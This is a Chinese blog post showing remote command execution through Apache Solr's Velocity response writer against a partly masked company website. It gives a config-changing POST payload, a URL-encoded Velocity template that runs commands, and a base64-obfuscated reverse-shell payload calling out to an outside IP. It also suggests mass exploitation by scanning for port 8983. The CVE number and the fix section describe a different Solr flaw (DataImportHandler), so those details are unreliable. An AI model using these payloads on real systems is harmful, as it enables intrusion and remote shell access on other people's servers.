Adminxe's Blog | 低调求发展 - 潜心习安全 ,技术永无止境 | 谢谢您对本站的支持,有什么问题或者建议请及时联系:点击这里给我发消息

CVE-2019-0193 Apache solr velocity模块漏洞&命令执行

渗透测试 Adminxe 3530℃ 0评论

@Adminxe

【互联网安全守护计划】

上海XXXXXX有限公司-XXX店 官方网站 存在Apache solr velocity模块远程命令执行漏洞

漏洞描述:

通过发送类似/节点名/config的POST请求对该节点的配置文件做更改

Apache Solr默认集成VelocityResponseWriter插件,在该插件的初始化参数中的params.resource.loader.enabled这个选项是用来控制是否允许参数资源加载器在Solr请求参数中指定末班,默认设置是false

当设置params.resource.loader.enabled为ture时,将允许用户通过设置请求中的参数来指定相关资源加载,这也就意味着攻击者可以通过构造一个具有威胁的攻击请求,在服务器上进行命令执行

漏洞特征:

端口:8983,http,solr

路径:/solr/item/config

受影响版本 :

Apache Solr < 8.2.0

站点:https://www.xxxxx.com/

【互联网安全守护计划】

利用工具:

BurpSuite

Firefox浏览器

目标站点: https://www.XXXXX.com/

通过域名反查,可以得到存在8983端口,并且端口下存在solr

得到目标服务器地址: http://XXX.50.13.xxx:8983

solr地址: http://XXX.50.13.xxx:8983/solr

1.因为该漏洞所影响的模块可以利用外部的请求来修改,所以利用恶意的请求payload去修改配置,修改了配置过后,就导致可以执行恶意的脚本,从而发起带有恶意代码的请求。

POST形式发送poc到配置文件config,修改了配置过后,便可以带上恶意脚本的请求去发起访问了,从而导致了远程代码执行,请求路径内容如下图:

打开Burpsuit,点击用户名,抓包-send to Repeater进行config参数修改:

修改值为:

poc为:

{
  "update-queryresponsewriter": {
    "startup": "lazy",
    "name": "velocity",
    "class": "solr.VelocityResponseWriter",
    "template.base.dir": "",
    "solr.resource.loader.enabled": "true",
    "params.resource.loader.enabled": "true"
  }
  }

访问目标主机,找到漏洞的位置,点到 core selector那个按钮,burp抓包拦截

发送到repeater,把上图请求的admin 改为item(这里注意对应的模块),后面再加config 查看是否有其配置文件,如果没有配置文件,则说明可能目标不存在这种漏洞,这也是一种检测方式?

2.GET形式,发送payload,进行命令执行,我们考虑到隐私性和安全性,设置执行命令为pwd(即查看当前位置):

payload为:

/select?q=1&&wt=velocity&v.template=custom&v.template.custom=%23set($x=%27%27)+%23set($rt=$x.class.forName(%27java.lang.Runtime%27))+%23set($chr=$x.class.forName(%27java.lang.Character%27))+%23set($str=$x.class.forName(%27java.lang.String%27))+%23set($ex=$rt.getRuntime().exec(%27pwd%27))+$ex.waitFor()+%23set($out=$ex.getInputStream())+%23foreach($i+in+[1..$out.available()])$str.valueOf($chr.toChars($out.read()))%23end

反弹shell payload:

linux 反弹shell命令 bash -i >& /dev/tcp/ip/port 0>&1 (至于payload中为什么要base64编码不太清楚…)

http://ip 8983/solr/item/select?q=1&&wt=velocity&v.template=custom&v.template.custom=%23set($x=%27%27)+%23set($rt=$x.class.forName(%27java.lang.Runtime%27))+%23set($chr=$x.class.forName(%27java.lang.Character%27))+%23set($str=$x.class.forName(%27java.lang.String%27))+%23set($ex=$rt.getRuntime().exec(%27bash+-c+%7Becho%2CYmFzaCAtaSA%2BJiAvZGV2L3RjcC8xMS4yMDMuMi4yMTgvMTIzNCAwPiYx%7D%7C%7Bbase64%2C-d%7D%7C%7Bbash%2C-i%7D%27))+$ex.waitFor()+%23set($out=$ex.getInputStream())+%23foreach($i+in+[1..$out.available()])$str.valueOf($chr.toChars($out.read()))%23end 

可进行远程代码执行,通过nc反弹,可以getshell,故定义高危漏洞。

联系方式:

电话 xxxxxxx 006 邮箱: business_csb@bxxxxxx.com

地址: 上海市XXXXXXXXXXXXXXX

批量利用的话:

批量搜一下开了8983端口的主机或者搜关键字solr

漏洞产生原因:

Apache Solr默认集成VelocityResponseWriter插件,在该插件的初始化参数中的params.resource.loader.enabled这个选项是用来控制是否允许参数资源加载器在Solr请求参数中指定末班,默认设置是false

当设置params.resource.loader.enabled为ture时,将允许用户通过设置请求中的参数来指定相关资源加载,这也就意味着攻击者可以通过构造一个具有威胁的攻击请求,在服务器上进行命令执行:

{ “update-queryresponsewriter”: { “startup”: “lazy”, “name”: “velocity”, “class”: “solr.VelocityResponseWriter”, “template.base.dir”: “”, “solr.resource.loader.enabled”: “true”, “params.resource.loader.enabled”: “true” }

如何修复漏洞:

1. 官方升级

从Solr的8.2.0版本开始,使用问题参数dataConfig需要将java系统属性“enable.dih.dataconfigparam”设置为true。因此用户可通过将Solr版本升级至8.2.0及以上,对此漏洞进行防护。

2.临时防护建议

1、用户也可通过配置solrconfig.xml文件,将所有DataImportHandler 固定配置项中的dataConfig参数,设置为空字符串。

2、确保网络设置只允许可信流量与Solr建立通信,尤其是与DIH请求处理器的通信。

转载请注明:Adminxe's Blog » CVE-2019-0193 Apache solr velocity模块漏洞&命令执行

喜欢 (4)or分享 (0)
发表我的评论
取消评论
表情

Hi,您需要填写昵称和邮箱!

  • 昵称 (必填)
  • 邮箱 (必填)
  • 网址